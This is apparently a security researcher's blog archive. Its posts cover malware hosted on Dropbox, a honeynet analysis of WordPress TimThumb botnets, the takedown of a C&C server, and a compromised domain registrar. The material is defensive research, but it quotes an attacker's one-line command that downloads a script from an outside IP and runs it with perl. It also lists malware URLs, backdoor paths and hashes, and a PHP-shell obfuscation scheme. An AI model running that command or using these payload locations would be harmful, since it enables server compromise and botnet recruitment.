Category Archives: Various

Should Dropbox be Shutdown for Spreading Mass Malwares ?

Various,

Blog posts on Symantec and ThreatPost have point the fact that Dropbox is used by bad guys to spread spam and phishing campaigns and also malwares. All theses malwares, files used in phishing and spamming campaigns coming from the “Public Folder” of malicious Dropbox accounts. Any file put in this folder gets its own Internet link so that he can be shared with others. Examples of malwares spread by Dropbox :

http://dl.dropbox.com/u/58336523/x/login.php, PHP/IRCBOT used in remote file inclusion campaigns.

http://dl.dropbox.com/u/63038576/Script.exe, WORM/Ainslot.A.1946 used in infection campaigns.

The problem is that Dropbox is not spreading malwares since few days. If you take a look at Clean MX database, Dropbox is present since 2010-04-19, with an explosion of malwares in 2011. The fact that Dropbox spread malwares is real and it is the case since long time. Dropbox is also present in Malc0de database since 2012-02-26.

Compared to other malware spreaders, Dropbox has a privileged status. For example, in November 2011, FileAve.com a free file hosting provider notorious for spreading thousands of malwares were shutdown after years of activities. FileAve.com have provide 50 MB free storage and a free sub domain for each created account (ex : http://yourname.fileave.com). FileAve.com was present in Clean MX database since the 2007-11-30, in Malc0de database since the 2010-01-11 and in our database since the 2009-02-16. The shutdown of FileAve.com was a good news for every one.

We can ask us a legitimate question, should Dropbox be shutdown, same as for FileAve.com ? Aren’t they both malware spreaders ?

WordPress TimThumb Botnets Spreads Status – first edition

Security visualization, Various,

Since the discovery of the WordPress TimThumb vulnerability in August 2011 by Mark Maunder, the vulnerability has been used as botnet recruitment vector, and has now spread in multiple botnets. Hundreds of WordPress blogs have been hacked, allowing potential infection of the blogs visitors, diffusion of spam and phishing campaign, DDoS, hack of other web sites (such as About.us domain name registrar), etc, etc. Some of these infected WordPress were controlled by well known C&C servers used and shared by black hats from around the world.

We are soon six month after the discovery of the vulnerability and a status on the WordPress TimThumb botnets could be done. Are the botnets still active, are less WordPress blogs vulnerable, is the pick of spread over ? We will try, through an analysis of all the WordPress TimThumb vulnerability exploitation attempts against our Honey Net, to answer these questions. The datas collected through our Honey Net are representing only a small part of the real activity of the WordPress TimThumb botnets, but these datas could also represent an extrapolation of the real activities.

List of all detected infected domains

You can find in the following table the complete list of all detected infected domains how were called during the WordPress TimThumb RFI attack, with the domain associated IP address, the country where the blog were hosted, the number of distinct source IPs how have call the related domain during the RFI attack and the live time of the domain name.

We have a total of 202 affected domains. “blogger.com.dollhousedelights.com“, hosted in Vietnam, was the affected domain how was called by the much more distinct source IPs (258), followed by “picasa.com.xpl.be” with 152 distinct source IPs, and at the third place “blogger.com.midislandrental.com” with 110 distinct source IPs.

“picasa.com.xpl.be” and “picasa.computergoogle.co.cc” have the longer live time with 105 days, followed by “wordpress.com.hostdail.com” and “blogger.com.pasbar.com” with 72 days.

Infected blogs countries repartition

You can find in the following graphs (Chart1 – Chart2) the geographically repartition of the infected blogs.

We have a total of 31 different countries for 202 affected domains. United States is in first position with 58.9% (129) of all infected blogs, followed by Australia, Canada and United Kingdom with each 3.7% (8) of all infected blogs.

Infected blogs countries repartition by number of source IPs

You can find in the following graphs (Chart3 – Chart4) the geographically repartition of the infected blogs by number of distinct source IPs how have call the infected blogs.

We have a total of 1734 distinct source IPs for 202 affected domains and 31 different hosting countries. United States is in first position with 48.5% (841), followed by Vietnam with 14% (243), Indonesia with 4.7% (82) and Taiwan with 4.1% (71).

Timeline by day of infected blogs calls and source IPs

You can find in the following timeline (Chart5) a representation by day of the infected blogs number calls and source IPs.

November 2011 was the most active month for the number of source IPs and that in December the number of source IPs has drastically decrease. You can see that during the first half of November the number of infected blogs calls have increase days after days, and since the 22 November the number of infected blogs is stabilized but is not decreasing.

Geographic timeline by day of all source IPs

In this geographic time map we’re loading datas from a Google Spreadsheet (published here). These datas are coming from our HoneyNet and are representing the geographic Wordpress TimThumb Botnet activities from 15-09-2011 to 03-12-2011.

AfterGlow representation of the WordPress TimThumb

By clicking on the following link, you can download an AfterGlow representation of the WordPress TimThumb botnets with links between each nodes.

Conclusion

WordPress TimThumb botnets are still continuing to infect new blogs, but the associated activities are decreasing since second half December. Maybe black hats are still in holidays 🙂 My personal opinion is that we will steal continu to hear about these botnets during complete 2012.

gangbang.mytijn.org Malware Spreader Down

Various,

By analyzing the payloads and associated C&C used by the WordPress Timthumb botnets, I founded an interesting C&C server named “gangbang.mytijn.org“. And in collaboration with Luxembourg CIRCL, the domain gangbang.mytijn.org is down since the 14 December 2011. This C&C server was known for spreading tonnes of malwares on Internet.

The initial infected WordPress sites were :

  • 222.255.77.90 – AS7643 – Vietnam

This infected server was first seen the 2011-11-05 18:54:22 and last seen the 2011-11-28 05:05:55. 214 distinct source IPs have call malwares hosted on three different virtual hosts. These three virtual hosts were blogger.com.dollhousedelights.com, img.youtube.com.dollhousedelights.com and blog.ssis.edu.vn.

blogger.com.dollhousedelights.com has spread 2 different malwares (PHP backdoor):

/.mods/sh.php - MD5: 027d17ab2ef49d442377c126dfa8fd1f - First seen the 2011-11-05 18:55:02
/.mods/index.php - MD5: 51ad7df89f3e7162128b9d642a7ec75b - First seen the 2011-11-05 18:55:05

img.youtube.com.dollhousedelights.com has spread 4 different malwares :

/.mods/sh.php - MD5: b545d6934b776026e6bbfd1f7ef4bb27 - First seen the 2011-11-17 07:37:15
/.mods/sh.php - MD5: acbc38367ffd62c42e1ae20c24890b55 - First seen the 2011-11-23 01:50:04
/.mods/index.php - MD5: 4ba8b20decc7605720ce2637ae51893c - First seen the 2011-11-27 23:50:04
/.mods/sh.php - MD5: ec1766b6a365db5099f53c85ad2ed2f1 - First seen the 2011-11-28 02:25:04

All “sh.php” malwares were PHP backdoor, and the “index.php” was a PHP IRC bot.

blog.ssis.edu.vn has spread one malware (PHP backdoor):

/.mods/pbot.txt? - MD5: 8da596365d76ce39bee05c75c2c0030b - First seen the 2011-11-17 07:25:05
  • 192.83.167.206 – AS9505 – Taiwan

This infected server was first seen the 2011-11-28 03:30:09 and last seen the 2011-12-08 03:06:44. 71 distinct source IPs have call malwares hosted on three different virtual hosts. These three virtual hosts were blogger.com.dollhousedelights.com, img.youtube.com.dollhousedelights.com and img.youtube.com.midislandrental.com. As you can see blogger.com.dollhousedelights.com and img.youtube.com.dollhousedelights.comwere load balanced (DNS round robin).

blogger.com.dollhousedelights.com has spread 1 malware (PHP Backdoor):

/.mods/pbot.txt? - MD5: 8da596365d76ce39bee05c75c2c0030b - First seen the 2011-11-28 03:35:03

img.youtube.com.dollhousedelights.com has spread 3 different malwares:

/.mods/sh.php - MD5: 027d17ab2ef49d442377c126dfa8fd1f - First seen the 2011-11-28 05:20:03
/.mods/index.php - MD5: 4ba8b20decc7605720ce2637ae51893c - First seen the 2011-11-28 05:35:07
/.mods/sh.php - MD5: e2b94559ff0c3d9219b3a43bf6dcd8bd - First seen the 2011-11-29 07:15:03

All “sh.php” malwares were PHP backdoor, and the “index.php” was a PHP IRC bot.

  • Analyzing the C&C servers

The PHP IRC bot was interesting, cause he invoke the potential first C&C server. You can find the encoded and decoded versions of the PHP IRC bot on pastbin. This script also permit to execute commands on the affected server and execute UDP or TCP flood attacks.

You can see that the first C&C server is gangbang.mytijn.org on port 23232/TCP and the #wWw# channel is protected by password. Also it is required to display a particular nick name, ident and real name in order to be identified on the IRC server.

Also by digging gangbang.mytijn.org domain name at different time, we can see that the domain was load balanced by using DNS round robin method. Each IP addresses present in the round robin load balancing had also the port 23232/TCP open.

By playing with Cuckoo Sandbox, the first C&C owners have execute some commands on the sandbox, and permit me to analyse the java.txt file.

cd /tmp && rm -rf java.txt && wget http://72.41.115.123/.mods/java.txt && chmod 755 java.txt && perl java.txt && … && rm -rf java.txt

You can also find the java.txt script on pastebin. This script connects to second C&C server, making the first C&C only a proxy. But this script also permit to execute different attacks like RFI, LFI, SQL injection and targeting specific web applications like e107, osCommerce and WordPress.

The second C&C server is known as irc.javairc.org on port 6667/TCP. Most of the affected machines were located on this IRC server.

Some funny conversations were made by the C&C owners and all this conversations were done in Indonesian.

About.US Domain Names Registrar Owned

Various,

During some analysis on the WordPress TimThumb Botnet, I have discover that an .US domain registrar know as “About.US” is completely compromised… and this since minimum the 15 September. Some RFI (Remote File Inclusion) scripts, how are exploiting the WordPress TimThumb vulnerability, are calling, in a obfuscate mode, a hidden file “stun.jpg” on “About.US” Web site.

This file “stun.jpg” file is also obfuscated and identified as a PHP Shell Malware by 3/20 anti viruses on Jotti, 3/36 anti viruses on VirusScan and 3/43 anti viruses on VirusTotal. The obfuscation is done 10 times with gzinflate(str_rot13(base64_decode())) functions. After deobfuscating the revealed code is a Web PHP Shell named “[ STUNSHELL #unknown @ ByroeNet ]“. You can find this Web PHP Shell with a simple Google dork.

As you know, to exploit WordPress TimThumb vulnerability some extra technical infrastructure is required, such as to be able to create domain names or subdomains containing :

  • flickr.com
  • picasa.com
  • blogger.com
  • wordpress.com
  • img.youtube.com
  • upload.wikimedia.org
  • photobucket.com
Isn’t it easy to create such domains or subdomains if you have own a Domain Name registrar !